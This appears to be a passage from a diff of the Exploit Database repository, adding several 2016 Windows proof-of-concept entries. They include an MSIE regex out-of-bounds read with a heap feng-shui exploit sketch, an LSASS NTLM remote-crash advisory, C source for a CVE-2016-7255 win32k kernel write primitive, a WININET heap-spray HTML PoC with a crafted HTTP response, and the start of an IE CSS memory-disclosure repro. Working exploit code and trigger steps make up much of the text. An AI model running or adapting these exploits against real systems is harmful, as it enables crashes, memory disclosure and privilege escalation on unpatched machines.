RegExpSetPattern("\u0504\u0706\u0908\u0B0A\u0D0C\u0F0E\u1110\u1312\u1514\u1716\u1918\u1B1A\\");
|
||||||
|
var oObject = RegExpExecute("23456789ABCD\0");
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
Description
|
||||||
|
|
||||||
|
When a regular expression is used to find matches in a string, it is first "compiled". During compilation, when a '\' escape character is encountered, the RegExpComp::PnodeParse function reads the next character to determine the type of escape sequence. However, if the last character in a regular expression is a '\' character, the code will read and use the terminating '\0' character as the second character in the escape sequence. This causes the code to ignore the end of the string and continue to compile whatever data is found beyond it as if it was part of the regular expression.
|
||||||
|
|
||||||
|
Exploit
|
||||||
|
|
||||||
|
The regular expressions string is stored in a BSTR, which means that the heap block in which it is stored may be larger than the regular expression. This means that if the heap block was used to store something else, then freed and reused for the regular expression, it may contain interesting information immediately following the regular expression. It also means that "heap feng-shui" can be used to control this as well as control the contents of the next heap block, which may also contain useful information.
|
||||||
|
|
||||||
|
This amount of control suggests that it may be possible to store this useful information compiled as if it was part of the regular expression. A number of functions can then be used to attempt to extract this information, such as matching to a string containing a sequence that contains all the possible values for the information: the resulting matches should reveal what information was compiled into the regular expression.
|
||||||
|
|
||||||
|
I did not implement such an attack, but here's one example of what it might look like:
|
||||||
|
|
||||||
|
Let's assume we can allocate 0x20 bytes of heap, of which the last four bytes contain a pointer into a dll and then free it.
|
||||||
|
|
||||||
|
0000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ????????
|
||||||
|
0010 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? <<pointer>> | ??????ab
|
||||||
|
|
||||||
|
(In the above, "a" represents the least significant half of the address as a Unicode character and "b" the most significant half.)
|
||||||
|
|
||||||
|
Let's also assume we can allocate a heap block immediately following it in which we can control the first four bytes and set them to "]\0", or [5D 00 00 00].
|
||||||
|
|
||||||
|
0000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ????????
|
||||||
|
0010 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? <<pointer>> | ??????ab
|
||||||
|
0020 5D 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ].??????
|
||||||
|
|
||||||
|
Finally, let's assume we can reallocate the freed heap block to store a regular expression "468ACE02|[\".
|
||||||
|
|
||||||
|
0000 18 00 00 00 34 00 36 00 38 00 3A 00 3C 00 3E 00 | ..468ACE
|
||||||
|
0010 30 00 32 00 7C 00 5B 00 5C 00 00 00 <<pointer>> | 02|[\.ab
|
||||||
|
0020 5D 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? | ].??????
|
||||||
|
|
||||||
|
When using the regular expression, it will effectively be compiled into "468ACE02|[\0ab]". Using this regular expression to find matches in a string that contains all valid Unicode characters should yield two matches: "a" and "b", in any order. You could then do the entire thing over and construct compiled regular expression that is effectively "468ACE02|(\0ab)" and matching this against the string "\0ab\0ba" to find out in which order "a" and "b" should be used to determine the value of the address.
|
||||||
|
|
||||||
|
Time-line
|
||||||
|
|
||||||
|
June 2014: This vulnerability was found through fuzzing, but I was unable to reproduce it outside of my fuzzing framework for unknown reasons.
|
||||||
|
April 2015: This vulnerability was found through fuzzing again.
|
||||||
|
April 2015: This vulnerability was submitted to ZDI.
|
||||||
|
May 2015: ZDI rejects the submission.
|
||||||
|
November 2016: The issue does not reproduce in the latest build of MSIE 11.
|
||||||
|
November 2016: Details of this issue are released.
|
||||||
|
-->
|
103
platforms/windows/dos/40744.txt
Executable file
103
platforms/windows/dos/40744.txt
Executable file
|
@ -0,0 +1,103 @@
|
||||||
|
MS16-137: LSASS Remote Memory Corruption Advisory
|
||||||
|
Title: LSASS SMB NTLM Exchange Remote Memory Corruption
|
||||||
|
Version: 1.0
|
||||||
|
Issue type: Null Pointer Dereference
|
||||||
|
Authentication: Pre-Authenticated
|
||||||
|
Affected vendor: Microsoft
|
||||||
|
Release date: 8/11/2016
|
||||||
|
Discovered by: Laurent Gaffié
|
||||||
|
Advisory by: Laurent Gaffié
|
||||||
|
Issue status: Patch available
|
||||||
|
Affected versions: Windows: XP/Server 2003, Vista, 7, 2008R2, Server 2012R2, 10.
|
||||||
|
=================================================
|
||||||
|
|
||||||
|
A vulnerability in Windows Local Security Authority Subsystem Service (LSASS) was found on Windows OS versions ranging from Windows XP through to Windows 10. This vulnerability allows an attacker to remotely crash the LSASS.EXE process of an affected workstation with no user interaction.
|
||||||
|
Successful remote exploitation of this issue will result in a reboot of the target machine. Local privilege escalation should also be considered likely.
|
||||||
|
Microsoft acknowledged the vulnerability and has published an advisory and a patch, resolving this issue.
|
||||||
|
|
||||||
|
|
||||||
|
Technical details
|
||||||
|
-----------------
|
||||||
|
|
||||||
|
This vulnerability affects both LSASS client and server and can be triggered remotely via SMBv1 and SMBv2, during the NTLM message 3 (Authenticate) message. Incoming NTLM messages via SMB are using ASN1 and DER encoding, the first ASN length field can be set to unsigned int by using 0x84.
|
||||||
|
This allows an attacker to remotely allocate a huge chunk of memory, for a message never larger than 20000 chars. The secondary trigger is to set any string fields (User, Domain, session Key, MIC, etc) with a long string (80-140 chars), leading LSASS.exe to crash.
|
||||||
|
|
||||||
|
eax=00000000 ebx=000e3e04 ecx=fffffff8 edx=fffffffc esi=000e3e00 edi=00000004
|
||||||
|
eip=7c84cca2 esp=00aaf9ac ebp=00aaf9d4 iopl=0 nv up ei pl nz ac po cy
|
||||||
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
|
||||||
|
ntdll!RtlpWaitOnCriticalSection+0xdf:
|
||||||
|
7c84cca2 ff4014 inc dword ptr [eax+14h] ds:0023:00000014=????????
|
||||||
|
|
||||||
|
STACK_TEXT:
|
||||||
|
00aaf9d4 7c83cfd7 00000b3c 00000004 00000000 ntdll!RtlpWaitOnCriticalSection+0xdf
|
||||||
|
00aaf9f4 4ab82f4a 000e3e00 00aafbec 00000000 ntdll!RtlEnterCriticalSection+0xa8 <-- Is used with a null pointer
|
||||||
|
00aafa18 4ab82765 000e3de8 ffffffff 00000001 lsasrv!NegpBuildMechListFromCreds+0x25 <-- Uses a null creds.
|
||||||
|
00aafbfc 4abc8fbb 00000001 00aafe40 000e3de8 lsasrv!NegBuildRequestToken+0xd9
|
||||||
|
00aafc34 4abca13f 000e3de8 00120111 00000010 lsasrv!NegGenerateServerRequest+0x2a
|
||||||
|
00aafc98 4ab85edb 000e3de8 00000000 00aafe40 lsasrv!NegAcceptLsaModeContext+0x344
|
||||||
|
00aafd0c 4ab860c8 00d5f900 00d5f908 00aafe40 lsasrv!WLsaAcceptContext+0x139
|
||||||
|
00aafe84 4ab7ae7b 00d5f8d8 005ccaf0 00599048 lsasrv!LpcAcceptContext+0x13b
|
||||||
|
00aafe9c 4ab7ad7e 00d5f8d8 4ac22738 00d5a158 lsasrv!DispatchAPI+0x46
|
||||||
|
00aaff54 4ab7a7c9 00d5f8d8 00aaff9c 77e5baf1 lsasrv!LpcHandler+0x1fe
|
||||||
|
00aaff78 4ab8f448 00598ce8 00000000 00000000 lsasrv!SpmPoolThreadBase+0xb9
|
||||||
|
00aaffb8 77e6484f 0059ade8 00000000 00000000 lsasrv!LsapThreadBase+0x91
|
||||||
|
00aaffec 00000000 4ab8f3f1 0059ade8 00000000 kernel32!BaseThreadStart+0x34
|
||||||
|
|
||||||
|
dt ntdll!_RTL_CRITICAL_SECTION
|
||||||
|
+0x000 DebugInfo : Ptr32 _RTL_CRITICAL_SECTION_DEBUG
|
||||||
|
+0x004 LockCount : Int4B
|
||||||
|
+0x008 RecursionCount : Int4B
|
||||||
|
+0x00c OwningThread : Ptr32 Void
|
||||||
|
+0x010 LockSemaphore : Ptr32 Void
|
||||||
|
+0x014 SpinCount : Uint4B
|
||||||
|
|
||||||
|
- LSASS NegpBuildMechListFromCreds sends a null pointer "creds" to NTDLL RtlEnterCriticalSection.
|
||||||
|
- RtlEnterCriticalSection is used with a null pointer, which triggers the crash.
|
||||||
|
|
||||||
|
Impact
|
||||||
|
------
|
||||||
|
|
||||||
|
Successful attempts will result in a remote system crash and possibly local privilege escalation.
|
||||||
|
|
||||||
|
Affected products
|
||||||
|
-----------------
|
||||||
|
|
||||||
|
Windows:
|
||||||
|
- XP
|
||||||
|
- Server 2003
|
||||||
|
- 7
|
||||||
|
- 8
|
||||||
|
- 2008
|
||||||
|
- 2012
|
||||||
|
- 10
|
||||||
|
|
||||||
|
Proof of concept
|
||||||
|
----------------
|
||||||
|
|
||||||
|
A proof of concept is available at the following URL:
|
||||||
|
|
||||||
|
https://github.com/lgandx/PoC/tree/master/LSASS
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40744.zip
|
||||||
|
|
||||||
|
This proof of concept is fully automated and includes non-vulnerable detection.
|
||||||
|
|
||||||
|
Solution
|
||||||
|
--------
|
||||||
|
|
||||||
|
Install the corresponding MS patch.
|
||||||
|
More details:
|
||||||
|
https://technet.microsoft.com/en-us/library/security/ms16-137.aspx
|
||||||
|
|
||||||
|
Response timeline
|
||||||
|
-----------------
|
||||||
|
|
||||||
|
* 17/09/2016 - Vendor notified, proof of concept sent.
|
||||||
|
* 28/09/2016 - Issue confirmed by MSRC
|
||||||
|
* 14/10/2016 - Vendor says he plan to release a patch in November, that is 1 month in advance of the scheduled 3 month.
|
||||||
|
* 08/11/2016 - Vendor release MS16-137.
|
||||||
|
* 08/11/2016 - This advisory released.
|
||||||
|
|
||||||
|
References
|
||||||
|
----------
|
||||||
|
* https://twitter.com/PythonResponder
|
||||||
|
* https://github.com/lgandx/Responder
|
284
platforms/windows/dos/40745.c
Executable file
284
platforms/windows/dos/40745.c
Executable file
|
@ -0,0 +1,284 @@
|
||||||
|
/*
|
||||||
|
Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255
|
||||||
|
|
||||||
|
Full Proof of Concept:
|
||||||
|
|
||||||
|
https://github.com/tinysec/public/tree/master/CVE-2016-7255
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40745.zip
|
||||||
|
|
||||||
|
********************************************************************
|
||||||
|
Created: 2016-11-09 14:23:09
|
||||||
|
Filename: main.c
|
||||||
|
Author: root[at]TinySec.net
|
||||||
|
Version 0.0.0.1
|
||||||
|
Purpose: poc of cve-2016-0075
|
||||||
|
*********************************************************************
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <wchar.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
#pragma comment(lib,"ntdll.lib")
|
||||||
|
#pragma comment(lib,"user32.lib")
|
||||||
|
|
||||||
|
#undef DbgPrint
|
||||||
|
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
|
||||||
|
ULONG __cdecl DbgPrint(__in char* Format, ...)
|
||||||
|
{
|
||||||
|
CHAR* pszDbgBuff = NULL;
|
||||||
|
va_list VaList=NULL;
|
||||||
|
ULONG ulRet = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
|
||||||
|
if (NULL == pszDbgBuff)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
|
||||||
|
|
||||||
|
va_start(VaList,Format);
|
||||||
|
|
||||||
|
_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);
|
||||||
|
|
||||||
|
DbgPrintEx(77 , 0 , pszDbgBuff );
|
||||||
|
OutputDebugStringA(pszDbgBuff);
|
||||||
|
|
||||||
|
va_end(VaList);
|
||||||
|
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
if (NULL != pszDbgBuff)
|
||||||
|
{
|
||||||
|
HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
|
||||||
|
pszDbgBuff = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ulRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int _sim_key_down(WORD wKey)
|
||||||
|
{
|
||||||
|
INPUT stInput = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
stInput.type = INPUT_KEYBOARD;
|
||||||
|
stInput.ki.wVk = wKey;
|
||||||
|
stInput.ki.dwFlags = 0;
|
||||||
|
|
||||||
|
SendInput(1 , &stInput , sizeof(stInput) );
|
||||||
|
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int _sim_key_up(WORD wKey)
|
||||||
|
{
|
||||||
|
INPUT stInput = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
stInput.type = INPUT_KEYBOARD;
|
||||||
|
stInput.ki.wVk = wKey;
|
||||||
|
stInput.ki.dwFlags = KEYEVENTF_KEYUP;
|
||||||
|
|
||||||
|
SendInput(1 , &stInput , sizeof(stInput) );
|
||||||
|
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int _sim_alt_shift_esc()
|
||||||
|
{
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
_sim_key_down( VK_MENU );
|
||||||
|
_sim_key_down( VK_SHIFT );
|
||||||
|
|
||||||
|
|
||||||
|
_sim_key_down( VK_ESCAPE);
|
||||||
|
_sim_key_up( VK_ESCAPE);
|
||||||
|
|
||||||
|
_sim_key_down( VK_ESCAPE);
|
||||||
|
_sim_key_up( VK_ESCAPE);
|
||||||
|
|
||||||
|
_sim_key_up( VK_MENU );
|
||||||
|
_sim_key_up( VK_SHIFT );
|
||||||
|
|
||||||
|
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int _sim_alt_shift_tab(int nCount)
|
||||||
|
{
|
||||||
|
int i = 0;
|
||||||
|
HWND hWnd = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
int nFinalRet = -1;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
_sim_key_down( VK_MENU );
|
||||||
|
_sim_key_down( VK_SHIFT );
|
||||||
|
|
||||||
|
|
||||||
|
for ( i = 0; i < nCount ; i++)
|
||||||
|
{
|
||||||
|
_sim_key_down( VK_TAB);
|
||||||
|
_sim_key_up( VK_TAB);
|
||||||
|
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
_sim_key_up( VK_MENU );
|
||||||
|
_sim_key_up( VK_SHIFT );
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
return nFinalRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int or_address_value_4(__in void* pAddress)
|
||||||
|
{
|
||||||
|
WNDCLASSEXW stWC = {0};
|
||||||
|
|
||||||
|
HWND hWndParent = NULL;
|
||||||
|
HWND hWndChild = NULL;
|
||||||
|
|
||||||
|
WCHAR* pszClassName = L"cve-2016-7255";
|
||||||
|
WCHAR* pszTitleName = L"cve-2016-7255";
|
||||||
|
|
||||||
|
void* pId = NULL;
|
||||||
|
MSG stMsg = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
|
||||||
|
stWC.cbSize = sizeof(stWC);
|
||||||
|
stWC.lpfnWndProc = DefWindowProcW;
|
||||||
|
stWC.lpszClassName = pszClassName;
|
||||||
|
|
||||||
|
if ( 0 == RegisterClassExW(&stWC) )
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
hWndParent = CreateWindowExW(
|
||||||
|
0,
|
||||||
|
pszClassName,
|
||||||
|
NULL,
|
||||||
|
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
360,
|
||||||
|
360,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
GetModuleHandleW(NULL),
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
if (NULL == hWndParent)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
hWndChild = CreateWindowExW(
|
||||||
|
0,
|
||||||
|
pszClassName,
|
||||||
|
pszTitleName,
|
||||||
|
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
160,
|
||||||
|
160,
|
||||||
|
hWndParent,
|
||||||
|
NULL,
|
||||||
|
GetModuleHandleW(NULL),
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
if (NULL == hWndChild)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
pId = ( (UCHAR*)pAddress - 0x28 );
|
||||||
|
#else
|
||||||
|
pId = ( (UCHAR*)pAddress - 0x14);
|
||||||
|
#endif // #ifdef _WIN64
|
||||||
|
|
||||||
|
SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );
|
||||||
|
|
||||||
|
DbgPrint("hWndChild = 0x%p\n" , hWndChild);
|
||||||
|
DebugBreak();
|
||||||
|
|
||||||
|
ShowWindow(hWndParent , SW_SHOWNORMAL);
|
||||||
|
|
||||||
|
SetParent(hWndChild , GetDesktopWindow() );
|
||||||
|
|
||||||
|
SetForegroundWindow(hWndChild);
|
||||||
|
|
||||||
|
_sim_alt_shift_tab(4);
|
||||||
|
|
||||||
|
SwitchToThisWindow(hWndChild , TRUE);
|
||||||
|
|
||||||
|
_sim_alt_shift_esc();
|
||||||
|
|
||||||
|
|
||||||
|
while( GetMessage(&stMsg , NULL , 0 , 0) )
|
||||||
|
{
|
||||||
|
TranslateMessage(&stMsg);
|
||||||
|
DispatchMessage(&stMsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
if ( NULL != hWndParent )
|
||||||
|
{
|
||||||
|
DestroyWindow(hWndParent);
|
||||||
|
hWndParent = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( NULL != hWndChild )
|
||||||
|
{
|
||||||
|
DestroyWindow(hWndChild);
|
||||||
|
hWndChild = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int __cdecl wmain(int nArgc, WCHAR** Argv)
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
or_address_value_4( (void*)0xFFFFFFFF );
|
||||||
|
} while (FALSE);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
127
platforms/windows/dos/40747.html
Executable file
127
platforms/windows/dos/40747.html
Executable file
|
@ -0,0 +1,127 @@
|
||||||
|
<!--
|
||||||
|
Source: http://blog.skylined.nl/20161110001.html
|
||||||
|
|
||||||
|
Synopsis
|
||||||
|
|
||||||
|
A specially crafted HTTP response can cause the CHttpHeaderParser::ParseStatusLine method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).
|
||||||
|
|
||||||
|
Known affected versions, attack vectors and mitigations
|
||||||
|
|
||||||
|
WININET.dll
|
||||||
|
|
||||||
|
The issue was first discovered in pre-release Windows 10 fbl_release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
|
||||||
|
Microsoft Internet Explorer
|
||||||
|
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
|
||||||
|
|
||||||
|
Microsoft Edge
|
||||||
|
|
||||||
|
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
|
||||||
|
|
||||||
|
Microsoft Windows Media Player
|
||||||
|
|
||||||
|
Opening a link to a media file on a malicious server can be used to trigger the issue.
|
||||||
|
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.
|
||||||
|
|
||||||
|
One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!
|
||||||
|
|
||||||
|
Repro
|
||||||
|
|
||||||
|
The below repro consists of two parts: an HTML file that constructs an XMLHttpRequest in order to trigger the issue and a raw HTTP response that actually triggers it.
|
||||||
|
-->
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
// This PoC attempts to exploit a memory disclosure bug in WININET.dll
|
||||||
|
// that affects Microsoft Edge and Internet Explorer. However, it fails
|
||||||
|
// to reveal any information as intended. You might want to use this as
|
||||||
|
// a starting point for further investigation.
|
||||||
|
// See http://blog.skylined.nl/20161110001.html for details.
|
||||||
|
window.onerror = function (a, b, c) {
|
||||||
|
alert([a,b,c].join("\r\n"));
|
||||||
|
}
|
||||||
|
var aauHeap = [];
|
||||||
|
function spray() {
|
||||||
|
aauHoles = [];
|
||||||
|
for (var u = 0; u < 0x10000; u++) {
|
||||||
|
var auHole = new Uint32Array(0x200 / 4);
|
||||||
|
aauHoles.push(auHole);
|
||||||
|
auHole[0] = 0xDEADBEEF;
|
||||||
|
auHole[1] = 0x0D0A0D0A;
|
||||||
|
auHole[2] = 0x0;
|
||||||
|
var auHeap = new Uint32Array(0x200 / 4);
|
||||||
|
aauHeap.push(auHeap);
|
||||||
|
auHeap[0] = 0x41424344;
|
||||||
|
auHeap[1] = 0x0D0A0D0A;
|
||||||
|
auHeap[2] = 0x0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
function sendRequest() {
|
||||||
|
spray();
|
||||||
|
var oXHR = new XMLHttpRequest();
|
||||||
|
oXHR.open("GET", "Response.http?" + new Date().valueOf());
|
||||||
|
oXHR.send();
|
||||||
|
oXHR.addEventListener("load", function() {
|
||||||
|
alert("load: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
|
||||||
|
JSON.stringify(oXHR.responseText));
|
||||||
|
setTimeout(sendRequest, 1000);
|
||||||
|
});
|
||||||
|
oXHR.addEventListener("error", function() {
|
||||||
|
alert("error: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
|
||||||
|
JSON.stringify(oXHR.responseText));
|
||||||
|
setTimeout(sendRequest, 1000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
sendRequest();
|
||||||
|
// This work by SkyLined is licensed under a Creative Commons
|
||||||
|
// Attribution-Non-Commercial 4.0 International License.
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
Response.http
|
||||||
|
|
||||||
|
HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||||
|
|
||||||
|
HTTP/1.1 200 X
|
||||||
|
|
||||||
|
Description
|
||||||
|
|
||||||
|
When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.
|
||||||
|
|
||||||
|
When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure.
|
||||||
|
|
||||||
|
The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect:
|
||||||
|
|
||||||
|
"HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response)
|
||||||
|
=> read "X" and the next 11 bytes in memory as the next response.
|
||||||
|
"HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response)
|
||||||
|
=> read "XXXX" and the next 8 bytes in memory as the next response.
|
||||||
|
"HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response)
|
||||||
|
=> read "X" and the next 14 bytes in memory as the next response.
|
||||||
|
"HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response)
|
||||||
|
=> read "X" and the next (N-1) bytes in memory as the next response.
|
||||||
|
|
||||||
|
Exploit
|
||||||
|
|
||||||
|
This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response:
|
||||||
|
|
||||||
|
"HTTP 100XXX........XXX\r\nHTTP 200 X"
|
||||||
|
|
||||||
|
I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the statusText property of the XMLHttpRequest, but I did not immediately see this happen; all I got was "OK" or an empty string.
|
||||||
|
|
||||||
|
Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable.
|
||||||
|
|
||||||
|
Time-line
|
||||||
|
|
||||||
|
October 2014: This vulnerability was found through fuzzing.
|
||||||
|
October-November 2014: This vulnerability was submitted to ZDI, iDefense and EIP.
|
||||||
|
November-December 2014: ZDI, iDefense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond.
|
||||||
|
August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10 is now in public release.
|
||||||
|
September-October 2015: ZDI, iDefense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond.
|
||||||
|
June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
|
||||||
|
September 2016: The vulnerability was address by Microsoft in MS16-105.
|
||||||
|
November 2016: Details of this issue are released.
|
||||||
|
-->
|
111
platforms/windows/dos/40748.html
Executable file
111
platforms/windows/dos/40748.html
Executable file
|
@ -0,0 +1,111 @@
|
||||||
|
<!--
|
||||||
|
Source: http://blog.skylined.nl/20161109001.html
|
||||||
|
|
||||||
|
Synopsis
|
||||||
|
|
||||||
|
A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.
|
||||||
|
|
||||||
|
Known affected versions, attack vectors and mitigations
|
||||||
|
|
||||||
|
MSIE 9-11 (earlier versions were not tested)
|
||||||
|
|
||||||
|
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
|
||||||
|
|
||||||
|
repro.html
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
|
||||||
|
<script>
|
||||||
|
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
|
||||||
|
// Explorer 11. On x64 systems, this should cause an access violation when
|
||||||
|
// run with page-heap enabled, as the code attempts to read a byte
|
||||||
|
// immediately following a 4 byte memory block.
|
||||||
|
// See http://blog.skylined.nl/20161109001.html for details.
|
||||||
|
var o = document.documentElement;
|
||||||
|
CollectGarbage();
|
||||||
|
// Heap Feng-Shui plunger
|
||||||
|
o.setAttribute("a", "1");
|
||||||
|
o.setAttribute("b", "2");
|
||||||
|
o.setAttribute("c", "3");
|
||||||
|
o.setAttribute("d", "4");
|
||||||
|
o.setAttribute("e", "5");
|
||||||
|
o.setAttribute("f", "6");
|
||||||
|
// Allocate a string that contains 3 characters (6 bytes), for which an 8
|
||||||
|
// byte memory block is allocated:
|
||||||
|
o.setAttribute("g", "AB\u4141");
|
||||||
|
// Free the memory block.
|
||||||
|
o.removeAttribute("g");
|
||||||
|
// Reallocate the same memory block to store a 1 character string (2 bytes).
|
||||||
|
// The memory block will look like this:
|
||||||
|
